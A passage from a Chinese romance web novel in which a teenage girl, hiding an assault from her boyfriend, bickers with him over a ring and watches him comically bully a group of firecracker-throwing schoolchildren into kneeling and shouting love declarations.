关语宁平时再怎么大大咧咧,今晚也被吓得不轻,脸色这会很不好,掏出手机递给温声,将近十分钟的录音,她现在都在心慌后怕,如果不是平时有设快捷键,今晚要是发生点什么事她们根本找不出任何证据。
“报警吧阿声,他们是冲你来的,这附近没监控,况且他们还全程包着脸,就算被摄像拍下来,今晚雪下得这么大,人影也能被拍成鬼影……但无论怎么样你都要先报警。”
垂眼看那条语音,手动了动却没接,温声思索片刻慢慢摇头,嘴角掀起些苦笑:“现在还不能报,最起码今晚不能报。”
江乐橙急了,原地跳脚声音扯得老大:“为什么啊!他们今晚可是下黑手,如果不是宁儿练过贺厉突然出现,我们几个现在被绑去哪里都不知道,而且今晚我们也算惹到他们了,后续万一被报复回来怎么办?所以这个警现在必须报!”
说完夺过关语宁的手机就要拨电话,眼前一恍,手机落到了温声手里,她看起来比刚才要冷静,依然摇头:“今晚还不行,相信我吧,我会解决好这件事,你们别担心……我向你两保证我会解决好,好不好?”
她说话时,呼出的热气从面前快速消散,贺厉脱下那件脏了的校服披到她身上,接着摘了帽子轻扣到她头上,被湿雪泡的有些发白的伤口微微遮了住。
温声回身看过去,下意识就要摘下还给他,却被他举手叫停:“你先戴着吧,伤口沾上水就不好了。”
江乐橙和关语宁对视一眼,关语宁是个聪明人,知道她是有意想化小今晚的事,于是点头笑应:“你知道的,你什么都不用说我都会站在你这边。”
温声朝她呶起小嘴作感激的撒娇,又见江乐橙木着脸低头一直不说话,于是倾下肩给她使眼色——
求你了,听我一次吧。
江乐橙还是拉着眼不吭声,只不过变换了神情看她——
我一会就给路草打电话,我必须告状,你别管我!
温声抚着发闷的胸口浅浅咳嗽,表情少见的冷淡,默默看她——
这件事绝对不能和他提一个字,你如果说出去我真的会生气。
江乐橙好像意识到什么,细细的眉头皱到一起,又习惯上手去推她:“我靠!!不会是和你那个爹有关系吧!!!”
温声一个跄步,差点再次摔到地上。
江乐橙呀了一声慌忙去扶她,被贺厉二次抢了手,关语宁一言难尽地扯着她到身后,“消停点吧姐姐,今晚还有一大堆作业没搞呢,一会还得打车去医院检查,你听她的话能掉你两斤肉吗?”
委屈地瘪着嘴,江乐橙决定了,从现在开始她要当个哑巴,谁都别来和她说话。
贺厉背朝温声蹲下身,他很瘦,脊椎微凸顶着身上的衣服,在白皑皑的雪天里,他的背影看上去脆弱又孤韧,“要快点去医院了,上来我背你,先去路边打车吧。”
温声摸向兜里的手机,她现在只想快点回家给路泊汀回电话,他明天就走了,今晚不知道还能聊多久,于是也没拒绝,撑着地蹲起,慢慢趴上他的背,她又扭过头认真嘱咐两个朋友,声音压的很低:“今晚的事一定一定不要和任何人说,尤其是他……”
声音倏地一消。
不远处有车灯不声不响地亮起,光束直扫过来,冷光肆无忌惮地照在四个人的脸上。
隔着几十米的距离,纷纷碎雪不成型地挤入他们之间,视线变得濛濛沌沌,除了潦薄的雪花,温声有些看不清那辆融进暗色里不知道停了多久的跑车,以及,隔着车窗里的人。
四周空寂无声。
江乐橙这下真成了哑巴,大眼睛提溜乱转,忙去抓关语宁的手:“宁儿,咱两先走!”
虽然都是误会,但她还是有点遭不住接下来的修罗场啊……
温声呼吸本能一颤,不知不觉就要跳到地上:“我男朋友来接我了,先放我下来吧,今晚真的谢谢你。”
她还戴着他的帽子,脸上的擦伤被遮住看不太清,但是贺厉没任何动作,像没听到似得,手臂仍旧轻松地兜住她,锢紧的力气却很大,背很直,回眸看那辆车。
‘咔’
车门开了。
温声无意识又舔咬起嘴唇,也不知道为什么要心虚,反正先晃起小脑袋朝他招手准没错。
撒娇就完事了。
路泊汀步调不紧不慢地走过来,一步,接一步,他身上的那件薄衫领口也很低,颈线修长白净,和雪天很衬,直到,他彻底站到她旁边,冷风被掩住,鼻前嗅到熟悉的淡淡冷香,温声这才敢抬头悄悄去看他的眼睛。
但好在!好在!!
他只是惯常地轻扯唇角挑眉一笑,低声悦耳,长臂朝她打开。
“回家了。”
温声眼睛一亮,嘴边翘起甜丝丝的笑,偏过半身伸出两
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只小手要去勾他的脖子,“抱抱……”
但她忘了贺厉的手还抓着她的小腿,只好小声提醒:“唔贺厉……”
贺厉第一次这么近距离地打量路泊汀,他的个子在同龄男生里不低,但还是要微微仰头去看他,灰衣黑裤,一身暗色,神情桀骜冷淡,脸部线条少见的流畅精致,长得确实和学校里其他人说的那样,像从画里走出的一样。
但贺厉心里偏偏冲出一股燥气和不适感,与嫉妒无关,只是察觉到无形中自己好像被他耍了一道。
他的疏离散漫,他举手投足的游刃有余,眉眼清贵间隐着几分侵略感,这是透进骨子里的强势,明明是极强的两种冲击,他却收放自如。
贺厉想窥到那层自如下的波动,他想挑衅他。
但无论怎么看,怎么望,水不扬波。
猜不透一点。
他被完全无视了。
路泊汀眼神都没偏一下,站近,又去捏温声的脸,冰冰凉的触感好像在室外待了很久,他目带宠溺,半含谑意:“下次这么晚不回去能先回我通电话吗,你这样我明天没法儿走啊宝宝。”
慢条斯理的口吻,下一瞬,却是力道强悍地推开贺厉的手,温声都没反应过来就被他抱进了怀里。
听到他的话温声自觉理亏,急忙压低帽檐,两条细腿夹在他腰侧,搂紧他侧脸全埋进他脖子里,嗅到他身上好闻的气息后,刚才发疼的胸口忽然变得酸酸的,眼里的热气涌了上来,紧绷了一晚的神经终于被他轻轻包裹住,这一刻什么都不用想,窝在他怀里就能到地老天荒,声音不由娇起来了,依然带着闷闷的哭腔:“我们回家吧回家吧,今晚好想你,对不起手机冻关机了不是故意不回的……”
说完又蹭了蹭他的肩头,毛茸茸的碎发贴着他的皮肤来回刺挠,语气带着孩子气的耍赖:“你怎么出来也不给我带件衣服呀,好冷好冷,贴贴……”
这就是恋爱吗?
江乐橙和关语宁面面相看,两人都开眼了啊,阿声虽然平时也和她们撒娇,但大多时候都是姐姐型的朋友,什么时候还见过她这样又乖又娇的妹妹一面!
路草我们谢谢您啊!
贺厉敛下眼,一言不发地站在原地。
路泊汀抱着温声,若无其事地扫了一眼几人,目光在关语宁的校裤和江乐橙散着的头发上转了一圈,眸光微凛,淡声开问:“今晚怎么了?”
不等江乐橙说话,温声搂着他贴的更紧了,热气呼在他耳边小声碎碎念:“最近小偷好猖狂,我们晚上吃完饭出来就被盯上了,宁宝和橙子差点被打劫,我还挺幸运的,只是被拽掉了书包……”
“是么?”
路泊汀向上垫高她,又捏住她的颈肉拉开距离,偏额去看一直躲在帽檐下的她:“别躲,我看看你。”
温声心里惨叫——您能不能别这么敏感!
抱住他就是不撒手,扁着小嘴越发赖皮:“你明天就走了,我想多抱抱你,你就让我抱嘛……”
冷不防对上路泊汀看过来的眼神,洞察犀利又意味不明,只一眼,江乐橙就觉得被看穿了一样,心一跳,只能嘿嘿傻笑,浅浅咳了声决定还是帮自己姐们一次,她两手揣到空空的校裤兜里晃来晃去,故意挤出一抹比哭还难看的笑:“路草啊,我手机今晚被抢了,还是上个月刚买的新款啊!哎哟难受死我了,刚才多亏有阿声和宁儿陪我,不然我……”
说完,鼻子一颤,身体猛地摔进关语宁怀里大声又绝望地抽泣起来:“宁儿!我的手机啊!!我妈肯定不给我买了呜呜呜呜……”
她的手机被刚才那个贱男人摔地上磕碎屏了。
所以……
也不算说假话吧。
关语宁嘴角直抽搐,上手轻轻顺她的毛,随即贴着她小声咬耳朵:“你这演技太假了,真的,傻子都能看出来。”
路泊汀眯起好看的眸子,有些好笑地看她们一个两个的编,轻笑一声还想说什么时,视线忽然瞟向挂在身上的小人穿的那件男装校服,蓝白色的布料有几处不太显眼的暗红色血迹。
抱着温声原本随意踱步的动作一停。
微垂的黑眸阖了阖,眼神倏尔一冷,他重新在几人身上来回掠过,这回算是正眼看了一眼贺厉,脖子有道抓痕,半边脸还微微带肿。
见他半天不说话,温声趴进他颈窝头皮微微发麻,半晌,在她快要憋不住时,路泊汀只是轻点头,朝江乐橙和关语宁说:“我带她先走,等会儿有车送你们去医院,另外,手机明天我会补给你们。
江乐橙激动地哇哦一声,就差蹦起来了,又被关语宁拽住忙捂上嘴——我求你了再忍会儿啊!
忍不了一点啊!!
温声扭过头和她两打眼色,指向关语宁的手机——
录音回家后发我。
路泊汀抱着她朝路边的车走去,擦身间,他又说了一句,低音被铺天的碎雪冲淡,听得不真切,不知是说给谁的:“今晚谢了。”
贺厉背好包,上手触了触温声头上的帽子,手掌盖住她的发旋状似无意地揉了揉,嘴边笑意儒润温暖:“帽子不着急还,明天见。”
说完和旁边贴在一起看戏的俩人挥手道了别,头也没回地走向另一侧路口。
温声明显就感觉到头顶的人呼吸一沉,她窝在他怀里很识趣地闭嘴没说话,心里继而大叹特叹。
唉。
反正这帽子今晚是不可能当着他的面摘下来了。
回到车里,温声习惯性勾走副驾的安全带,又去摇路泊汀的胳膊,结果被他冷冷淡淡地拍掉手,她的手还很疼,瞪起大眼睛想也没想竖起两根破皮的指头朝他使劲晃,俏声俏气地转移话题:“我的手指好痛喔,需要吹吹才能好——”
余光瞥到后座的人,手上的动作忽地一滞。
车内没开灯,希榕静静枕着椅背,身上披的那件男士大衣在晦色下透出干净宽厚的暖意,和自己身上几乎臃垮还沾着泥渍的毛衣完全不一样。
见她微微发愣,希榕浅浅笑出声,凑近,摆手打招呼:“好久不见哦宝贝儿。”
纤细的无名指戴着她很眼熟的戒指。
是昨晚那枚戒指。
72. 三人
谁你宝贝儿啊?
温声凝着那枚戒指慢慢移开目光,帽檐微掩下的浅瞳淡然一眨,神情丝毫没变化,唇角微翘,露出糯糯的小白齿,笑的格外明媚优雅还很客气:“好久不见啊,什么时候回的国?很多天没见过希伯伯和梁姨了,近期他们可还好?要麻烦你代我们问一声好呀。”
柔声软气,还有丝不紧不慢的温润得体,客套话说的滴水不漏。
边说,她偏头若无其事地投向路泊汀,目光莹莹清澈,暗含沉波,又在他扫过来对视的一瞬间,轻飘飘地错开,接着大大方方地和希榕寒暄起来。
两人都一样,遇到的事越不爽,挂在嘴边的笑就越好看。
也不知道是不爽谁。
路泊汀打着方向盘,好像置身事外一样,完全没搭理她的作势,只不过隔了几秒,很贱地伸过胳膊,隔着那顶小绿帽往她头顶狠狠一弹,又拧住她的粉嫩脸蛋向外不客气地一扯,力道蛮重,她的脸颊登时出现一道红印,他还似有若无地瞟过她——
对老公客气点。
温声疼的险些没崩住表情,就差抬手勒住他的脖子在车里打一架了,她用力咬住唇肉,忍了又忍,继续提唇微笑。
等会儿算账。
那种高于兄妹和朋友之间的亲昵动作,是下意识里不自知的习惯,也是其他任何人都无法插入的需经时间铺陈的熟稔。
希榕坐在后座,明明离他们的距离也不远,但这股无故生起的旁白视角,就好像,她被疾行的车尾快速甩向了远处。
很糟糕的感受。
将面前两人的各种小九九收进眼里,希榕又定定看了一眼温声,指腹轻捻戒指凸起的纹路,她刚在车里打量过,不像是在订婚仪式这种正式场合佩戴的首饰,不过圈套设计矜贵满满,只那一颗主石,她妈妈都不一定能在短期内拿到手。
看的出来,这是一枚比婚戒还需要要花尽心思的戒指。
希榕不露声色地重新靠向后,耸了耸肩:“回来有几天了,我妈今天还聊起你,说你是不是学习太忙,最近几次聚会都没见到你,怎么?国内的高中这么泯灭人性的吗?”
“还好,学习可能没你忙,下次聚会应该是过年了吧,那个时候你回来吗?”
“目前不确定呢,打算一月份先去趟塞尔维亚玩玩再说,你呢,寒假要不要一起?”
“再说吧,可能要去学校组织的欧洲摄影展……”
一来一回,聊得倒是有模有样的。
也不知道是谁前两天在知道希榕回国时一天朝他翻四五六次白眼,还要笑不笑地歪起嘴巴阴阳怪气他:“你还不知道吧路子,希家千金回国了哦。”
“唔,你小子艳福不浅哟,看梁姨发的消息了没,人家姑娘带着全A杀回国了。”
说这话的时候,她手里还在使劲晃着她那张丢分严重的破数学卷子。
“啧,路哥,你俩看上去各方面确实都挺搭,希伯伯还问过咱妈好几次你有没有女朋友,实在不行,你就从了她吧。”
他当时坐地毯上正在收拾两人登山回来的装备,耳边嗡嗡嗡被挑衅个不停,他属实被她缠的没辙,又想贱兮兮地逗哭她,于是干脆点头,眼神凉凉睨着她,转瞬轻笑,演技科班出身,入木三分:“你这么想把我拱手让出去,行啊,明儿起我就一天三顿饭约她,到时候领家里了记得喊人一声嫂子听到没?”
见她突然不作声,一双大眼睛死死盯住自己,他继续很浑蛋的在她酸涩又脆弱的小心巴上补刀,神情真真假假,但看在温声眼里一律当成真:“知道嫂子是什么意思么?是你哥正儿八经谈对象的意思,是你哥今后只宠她一人的意思,也是你哥这辈子的唯一的意思,懂了么妹妹?”
说完,黑眸在她身上稳稳当当地扫了一圈,微挑眉,下定论:“哦,抱歉,你只是妹妹,怎么会懂?”
呵。
阴阳怪气谁不会。
很干脆地招惹完,他低头接着整行李,期间没再注意她一眼,周身气场慵懒冷淡,眉梢耷下,一副你收拾收拾可以滚蛋了的无情混球样。
刚才绕着他一直转圈,嘴里还在念车轱辘话的人慢慢定在原地,手里呼呼作响的卷子也不摇了,气势骤减,映在地毯上的倩影好像也矮了一截。
客厅忽然变得相当安静,唯一的声音是他手里几个打包带的摩擦声。
温声起初先是蹭到他面前居高临下地冷眼审视他,见他完全不搭理自己,她自己‘咚’的一声,盘起腿坐在他对面,中间隔了一米的距离,大眼睛就是要眨也不眨地逼视着他。
她要让他为刚才说的那两句话付出!惨痛的!!代价!!!
给她道歉!
但路泊汀是谁啊,捉弄的心思一旦起来,除非惹哭她,不然他也不会罢休。
绝对要将犯贱和小心眼进行到底。
于是好整以暇地垂眼,接着整。
半点眼神都没分给她。
温声眨眨早就红了的眼睛,但她就是硬气的不张嘴,掐住自己的腰,瘦瘦的脊背直直挺起,忍住哭意。
烂人!
明知道她每次说这些话,就是想听他说点非她不可的情话。
谁让他当真了……?
几分钟过去了。
路泊汀余光察觉到她在悄悄掉眼泪,哭的还蛮可怜的,无声的破碎的脆弱的,又带着娇气跋扈和倔强,完全就不经逗。
拉包链的动作一停,他轻咳了声还是没看她,只是俯身朝她不动声色地凑近了半米。
哎。
惹哭容易,哄回来太难。
“你是不是早就想和我分开了?”小姑娘脑袋垂了下去,压低的声音沙沙哑哑的,像打蔫的甜枣。
到头来,他成了始作俑者。
路泊汀被她气笑,得,这趟雪山白走,摇头叹了声气,神情无力又无奈地搓了把脸,依旧没说话,抬眼瞅她,快速收回,起身拎着两只行李包放到储物间,接着慢慢悠悠地折回客厅,长腿一迈,走到她面前,越过她,直接进入洗浴间。
温声被彻头彻尾地无视了。
她这下哭的连鼻涕泡都出来了,脸上还冒着被阿古木寒温气候冻的发皲的红,哑着嗓子哭得上气不接下气,也不知道为什么要哭的这么难受,只要一想到他要和自己分开,一想到她以后要叫他身边的那个人嫂子,一想到他不能陪自己走到最后,竟然是要去陪别人!
只要想到这些,她就想哭个三天三夜,谁也别来管她。
“你看吧,你早就和我过不下去了是吧……姓路的……我现在就告诉你……”她哽哽咽咽地骂道,“是我把你踢了…你记住,是我!我不要你了……”
洗浴间的门一开,一合,接着,高大的身影蹲在她面前,一手转着泡湿的热毛巾,另一手抽了几张纸,长指的指骨顶起她的下巴,他拧起眉一脸嫌弃地给她擤鼻涕,完了也不顾她挣扎,热毛巾‘吧唧’一声,牢牢盖住她哭的通红的脸。
哭声被堵住。
温声嗅到毛巾里淡淡的香味,是她小时候用过的沐浴露的花香味,还在推他走的动作静了下来,热气涌向她,胸口的委屈酸心好像也消失了一大半。
他笑了声,拦腰抱起她往主卧走,期间,丝丝凉气吹开她脑门炸了的碎发,大手还揉着她的背作安抚,语气引入不经意的哄逗,低缓温柔,有丝无奈:“我对你是什么样还需要试探吗?我在你不喜欢我的时候就确认清楚了我这人非你不可,虽然这个话说起来很轻,但是宝宝……”
他轻掀开那层热毛巾,对上她发红的眼睛,低头凑近去亲她的眼角,轻声道,“我和自己作誓了。”
“其他人和你和我都没任何关系,你要是觉得不舒服,以后这种闲人烂事我去解决,你只要把你的注意力放在我身上就够了。”
他抱着她一起摔进床里,指腹擦净她脸上乱七八糟的泪痕,接着卷起被子圈紧她,头埋进她颈窝,“咱俩之间谁都插不进来,这次记住了?”
温声闷在被子里,半天后,伸手搂住他的腰,声音小小又清
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晰地嗯了声。
算单方面吵架后又和好的作答。
这才过去几天啊,又给他埋了雷。
路泊汀黑眸攒起明晃晃的玩味,他也不看她,玩世不恭地扬起眉作无声地坏笑,有轿车擦身而过,车灯照在他脸上,那副无里无辜的烂人样一览无遗。
还敢笑?
他完了。
温声笑的更明丽了,脸颊侧贴着椅背,好像是为了转身和后座的希榕讲话更方便,脸上闪过各种鬼马的小表情,上一秒聊最近有什么好看的歌剧要上了,后一秒又说起这个月某品牌冬季限定的鞋子还没约到手。
瞥了眼窗外熟悉的地标,已经快到古郡别墅场沿外的武桥南路了。
希榕涂着深色珠光眼影的眼睛往温声身上的毛衣一眯,又朝她挤眼笑,细长的眉眼像狐狸,风情却不媚气,有些感慨地说道:“这次见你怎么看上去这么疲惫?好像突然间长大了不少噢。”
变相说她今晚狼狈?
两人以前见面就不太对付,倒不是因为路泊汀,主要是家里那些个大小姐的脾性身上多少都沾点,要么一个阵营,要么桥两头谁也别碰头。
她两就是从小被长辈拽着比较的一对冤家,上个月希榕弹琴进级了,这个月温声跳舞得奖了。
明明都很优秀,却谁也不愿意被拉作垫背。
都处成这样了,还被周围长辈夸奖两个小宝贝身上艺术气息浓重。
浓重个鬼!
温声只是搞不定路泊汀的嘴毒,对其他人说话带起刺来她完全不在话下,脸上笑意酣甜,坐相优雅,依然端着标准的大家闺秀模样,刚要心平气和怼一通,旁边开车的人握着方向盘的手打了记响指,车一个侧身压弯,停到了该停的位置,“到了。”
其余两人同时看他,路泊汀从后视镜不轻不淡睨了希榕一眼:别招她。
这警告的信号给的很足。
希榕气笑后又失笑,再次觉得自己喜欢他简直有病,性格烂的要死,也不知道这温小妮子怎么就看上他了。
气急败坏地开了车门,鞋跟刚踩地,她又反应过来,他就算有病,自己不还是念念不忘吗?
自己也有病!
砰!
车门甩上一声愈加歇斯底里的巨响。
“你等一下。”
希榕停下,恼羞成怒地快速回过身,看他漫步走过来,瞪起眼故意奚落道:“哟,路少,稀罕啊,怎么舍得走我家门前这条路了?”
以往姚姨让他来家里取东西,他都会把车停在远远的路道,家里的忙工只好跑一趟亲手递进他手里。
这么几年了,希家大门外的这条路他从来没有进来过。
路泊汀下车后朝她走过去,颀身挡住了温声乱瞟的视线,修长宽大的手掌向上,“戒指给我。”
希榕背过手,昂起头目带挑衅地看他,“什么戒指,长什么样你说说看,我手上首饰这么多,你别看错眼了。”
他的手没收回,也没多说一个字。
要回属于自己的东西,是不需要废话的。
寒风吹过,希榕家门外种了一排乌桕树,冬天树叶掉的差不多了,光秃的树枝偶有薄木碎皮刮下来,在他眼前轻轻扬,他的眼睛黑亮混着芒雪的剔透,像抛光的玉石,看着,看着,她只觉得有无数颗珠玉在心口荡起玱玱响。
还是觉得他很漂亮,就算是烂人。
烂人,也漂亮的毋庸置疑。
不愿做多纠缠的人,希榕摘下戒指放在他手心里,看向不远处的车内,温声没看这边,低头正在喝热水,她刚才看清了她脸上的伤,想了想开口道:“虽然我从没插入过你两之间,但现在我宣布我正式退出,大家都要好好的,以后高处见吧。”
转身往院子里走,絮絮叨叨的口吻说了剩下的一句:“虽然我喜欢你,但是她也不赖。”
温声揉着胸口看车外的两人,趁他回来前,大眼睛恶作剧地揶揄一转。
咔嚓——
车门从里锁了。
73. 叫宝宝
路泊汀心不在焉地走过来,无名指的戒指卡着指节要戴不戴地打着圈摩挲,上手拉门,动作一顿,隔着车窗,视线上下来回慢慢瞅她,吐出两字:“开门。”
温声这会正低着头在书包里翻捯东西,耳朵还塞上了他的耳机,边晃脑袋边呶起嘴没什么调儿地哼着歌。
看上去好像很忙的样子。
车窗又被磕响。
她嫌烦一样忽然扭过半侧肩,这下连背都朝向了他。
就是不开。
附近有几个小学生人手一盒摔炮,可能是作业写完了,这会也不在意会不会被路人打一顿,手里的炮无差别攻击地乱投在空中肆意炸开——
啪啪啪——
差点炸到路泊汀身上。
他本来还在想事情,思绪被迫断开,那些炮屑就在腿边,眉梢一跳,脸色也暗了下来,对几岁的小屁孩本来就没多少耐心,看他们几秒,又弹向车窗,温声下意识抬头,就听他只说了一句:“你别后悔。”
接着长腿一转,朝其中个子最高的小孩走过去。
背影沉沉,像是要去干架。
温声心情很好地摁下车窗,撕开软糖包装丢进嘴巴里,边嚼边看戏。
打起来!快打起来!
最好是闹大,如果有家长跑出来能狂揍他一顿,那最好不过!
只要想到他鼻青脸肿又窝里窝气地跪在自己腿边哭,哈!她就想发出一声爆笑。
老天爷啊,她温声今晚也是要翻身了!
路泊汀拖着步子走过去,不温不火地打量几个身板还没到自己胸口的小菜头,头一歪,冷眼又冷声道:“刚谁放的?”
语气轻淡平平,属实听不出到底生没生气,但这身影罩过来时,黑压压的,比学校最烦人的班主任还让人窒息。
几人左右互看,其中个不高长得还算顺眼的小孩冷哼一声,怕个鸡毛,他爸可是区委书记,于是抱臂仰视,口出狂言:“怎么?谁放的你也要管,这条路你家开的?我告诉你别太多管闲事啊。”
许是哥们给的勇气,其他三人身上的慌张不见,脸上各打各换上冷嗤与鄙屑,这片儿住的哪家不是有背景的,这还没炸到他,就算炸伤又怎样?
没人会替他说话。
“对啊,炸到你了么你就来扯,碰瓷也不带这样的。”
“想讹多少钱你干脆直说,也不是没遇到过你这种人。”
路泊汀嫌弯腰说话太费劲,垂眼散怠地直起身看刚才放话的少年,小小年纪就垃圾一个,他指向他身上的校服,斯斯文文地笑了笑:“汇安附小的?你老师电话多少?”
手顺便一勾,那小孩挂在手腕的电话手表就被他挑开拿了去。
看他立马懵圈的表情,路泊汀又扯唇哂笑,快指划开手表屏幕,问他:“或者你让我炸一下,换一个电话?”
对小学生来说,电话手表被讨厌的人拿手里,那不亚于当众揭出自己的软肋伤疤,天不怕地不怕的小屁孩,对班主任还是有几分忌惮的,他顿时慌了,上前就要去夺,“还我!你手好欠,谁让你动我手表了?”
路泊汀今晚就是要贱到底,在通讯录里翻了又翻,看到“张老师”几个字的备注,都不带一丝停顿,直接摁了通话,还是视频通话。
然后任由几个小菜头狂拽自己身上的衣服,颈线修长,微抬的下巴没低一丝一毫。
看上去属实绝情得很。
等电话中,他还朝叫唤的最凶的人眨眨长眸,食指抵在唇边嘘声有些无奈地吹了声口哨。
让他们小点声。
算是踢到铁板了。
那小孩一看是打给张魔鬼的视频通话,都快哭了,跳起脚一蹦一蹦地要去抢他手里的手表,哭腔都出来了:“你有病啊!我们又没惹你……”
啧,他是真的烂。
温声有些同情地咂咂嘴,转而翻白眼,她不也是这么被压制过来的吗!
“炸!炸死我们行了吧!”
个子最高的小孩哥突然跪了下来,他是真不想大晚上还让老师操闲心,不然他爹说好寒假给他一整套乐高模型这事就黄了,于是两手合十抬头求人,姿态过分虔诚卑微:“求你了哥哥,真求你了别打了吧……肖瞬然!你快跪下呀!!”
刚才放话的肖瞬然脸色登时难看起来,这辈子还没给谁跪过,还在忸怩作态时,其余两人就咚的一声,全都没骨气地跪了下来。
路泊汀瞧他一身硬骨头,啧声叹了声气,取下贴在耳边的手表,又继续划动屏幕,眉宇微蹙,喃喃自语:“怎么不接呢?那还是先打给蒋老师吧。”
蒋老师是和他最不对付的英语老师。
嘭!
腿边多了一道身影。
路泊汀眉眼兴味渐起,唇边噙着淡淡的笑,开始得寸进尺的耍人:“不好意思啊各位,迟了,这电话哥今晚必须打。”
吴奇是第一个跪的,当然也是第一个磕头的,反正这个头只要磕了,什么面子里子的,这辈子也就不重要了,大脑门框框凿地,继续求他:“我异父异母的亲大哥,我把我所有的机车模型分一半送你行吗,或者你要什么你直说,我有的我都给你!快别打了……”
除了肖瞬然,另外两人一向听吴哥的,也都跟着磕头:“哥!哥哥!!求求,求你别打了!!我们以后一定好好做人不放炮了!”
压力给到肖瞬然这边,他依旧沉着脸一语不发,只觉得今晚真特么是见鬼了,出门不利啊……
头顶的人瞥过他,又漫不经心地说了一声‘喂’。
肖瞬然都来不及去看他,‘咚’的一声,脑门猛地就掷了地。
温声在车里捂着嘴笑个不停,虽然知道他只是吓唬几个小朋友而已,但是演的也太真了。
唔,显得他更烂了。
路泊汀点开手表的相机,对准跪在腿边此起彼伏给他磕头的几个小家伙,这回还算温和的笑了开,说完刚才吊他们的话:“喂,先别急啊,我的意思是……”
几人听他突然停顿,一时都抬起头,他这才按下拍摄键拍下了他们的小狼狈样,完了收起手表,指尖一点一点敲着唇边,有些好笑的笑出声:“哥这会心情还不赖,这通电话今晚可以不打,但是……”
抬手懒洋洋地指向身后的车,准确的说,是直接点明缩头缩脑一直在看这边的温声,眸光戏谑十足,提唇下了吩咐,“去给她拜拜,记得喊大声点。”
温声眼睛忽地瞪的溜圆,嘴里的糖差点噎死她,那四个原本跪在路泊汀腿边的小萝卜头,在她转头放东西的时间,就全跪在了外面,还是靠近她这侧的车门外,她刚要降下车窗问清楚,四周忽然童声四起,吼叫响彻,几个小孩像是要报复路泊汀让他丢人一样,故意扯着嗓子鬼哭狼嚎——
“温声最爱最爱路泊汀!”
“温声很想很想路泊汀!”
“温声只能嫁给路泊汀!”
“温声只能属于路泊汀!”
……
唉,真搞不懂这些逼哥逼姐整天整这些情情爱爱的有什么意思?
不过喊就完事了,万一以后他们自己也需要呢?
温声眼前黑了又黑,脑子也晕乎乎的,但她还知道护着脸皮,于是抱紧头快速趴进座椅里。
这辈子,可能上辈子都没这么丢人过。
他们每喊一句,路泊汀悠悠吹着口哨,将抢来的摔炮接连噼啪摔到地上——
啪!
啪!
啪——
炮声响亮,节目效果拉满。
是一种蛮喜庆也很适合立马去结婚的声音。
一大票路人这会都睁大眼看过来,有人停足,有人快步绕开,鹅雪纷纷下,四个八九岁的孩子卧在路边那辆非常扎眼的紫色跑车旁,如果不是才十二月,大家都有种粗觉,这是在拜年求红包。
他们还在吼,温声抖着身超快的瞟向车外,周围已经站了一大圈人,那四个小孩还跪着,路泊汀斜斜靠在一旁不知道是谁的摩托车上,手里还玩起了同样是抢来的溜溜球。
好像就盯着她抬头看过来,他还似笑非笑又目带挑衅地朝她眨眨眼。
嘭!
温声倏地一声,再次麻利撞进座位里。
他是真的不会觉得羞耻吗?
路泊汀这人,说好听点打小就有超足钝感力,往难听了说,就是没眼力劲是非观为零,她好像从没见过他有脸红尴尬的时候,就连小时候和姚女士打赌输了的那一次一样,愿赌服输,他穿上她的小裙子大大方方去了学校。
姚女士那天晚上刚好有空来校门口接刚上一年级的儿子回家,隔着乌压压的人群,看到他被一堆男孩女孩外加四五个老师围在台阶上,大家脸上神情各异,比当事人本人还要羞羞答答无地自容,被困在中间的小小少年却笑得一脸淡然,从人群缝隙中看到她,心眼打小就黑,举手朝她打招呼,还状似无意地摆了摆袖口,一圈粉色的碎花褶皱当即露在众人视线内。
存心要让自己的妈尴尬。
那套裙子是姚女士原本买给温声的针织线裙,裙尾微微蓬起,颜色
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和设计都带着只属于小姑娘的俏皮甜美。
穿他身上,两条笔直的细腿远远看去,竟然还挺搭。
但姚女士当时只觉得汗颜羞耻,脸唰的就红了,她低紧头艰难地挤进学生堆里去牵他,想赶紧闪人,被他的班主任叫住,老师犹豫半天才开口问:“路妈妈……小泊汀是…是……是对做女孩子比较感兴趣吗……”
磕磕绊绊的口吻,怎么问怎么不对劲,毕竟这少年可是班里长得最俊俏的男娃,她想不通怎么突然就……
姚女士少见的脸更红了,还没开口解释,就被儿子扯住手直往校外走,他还点点头顺便附和了老师:“嗯哼,是的老师。”
回到车里,路泊汀又朝她显摆似的晃了晃裙摆,眉欢眼笑的,看上去好像确实很喜欢身上的裙子,嘴角咧开戏谑的笑:“恭喜啊妈,您儿子不管当男当女,好像都挺受欢迎的。”
以往放学回家路上姚书文还会问问儿子学校的情况,但那一天,她一路沉默地疾车开回了家。
当晚她就给路康提前打了招呼,以后别随便惹这孩子。
丢人的只会是父母。
温声咬紧唇,盯着车门,在开和不开之间疯狂犹豫,开,今晚衣服戒指这飞醋她喝不下,不开,听到外面的喊叫声,她又怕等会招来附近的城管。
头皮麻了又麻……
路泊汀时不时看一眼车窗,就静静地等,反正他不急,周围有人朝他指指点点,八成也是一些霸凌欺负小学生诸如此类的话。
手里的溜溜球一甩一收,他没在意,只是弯唇笑了笑。
‘咔—’
车门开锁。
“哥……哥哥……这样就够了吧?”
吴奇跪的腿都疼了,两团膝盖湿乎乎,他想站起,但看到路泊汀的动作后起身又一顿,他那些玩转溜溜球的招式,是最早期流行的花式玩法,现在没人玩,也没人会玩。
吴奇顶了顶旁边一直黑脸而且是刚才吼得最大声的肖瞬然,意有所指地问:“这哥感觉比我们高不止一个level……”
废话。
肖瞬然装作不在意地瞄了一眼旁边那辆限量款AM,国内本来就很少,江城好像也就不到十辆,有钱都不一定能订到手。
唉好烦。
他也想长大后当一回逼男。
路泊汀打发走了几个小孩,一副索然无味的模样走过来,温声理都不想理他,如果不是因为她不会开车,刚才她早就跑了。
“给老公道歉,现在,立刻,马上。”
“我要听你大声说出来。”
“搞快。”
什么玩意儿?
温声皱起眉,手里的糖纸隔着窗隙不客气地丢他身上,大眼睛怒视他:“谁欠你了?你搞清楚今晚明明是你的问题!”
说完昂起脑袋疯狂瞪他,一副我有什么错的捣蛋泼皮样。
路泊汀没上车,就站在她眼前,这回腰弯的很低,和她对视,“因为你不信任我,我有点难受。”曲直轻轻弹她头上那顶很碍眼的帽子,轻声哄道,“道个歉,我就原谅你。”
切。
温声使劲憋住嘴边的笑,揪着他的话开始抠字眼,无理取闹道:“你的意思是如果我不道歉你就不原谅我了,我不道歉你就不爱我了,我不道歉你是不是今晚就一脚踹了我!”
伸手戳开他的脸,给他定了性:“你好大的胆子啊路泊汀。”
啧,头疼。
路泊汀呼出热气,定定看了她几秒,只好认栽的点头:“你赢了。”
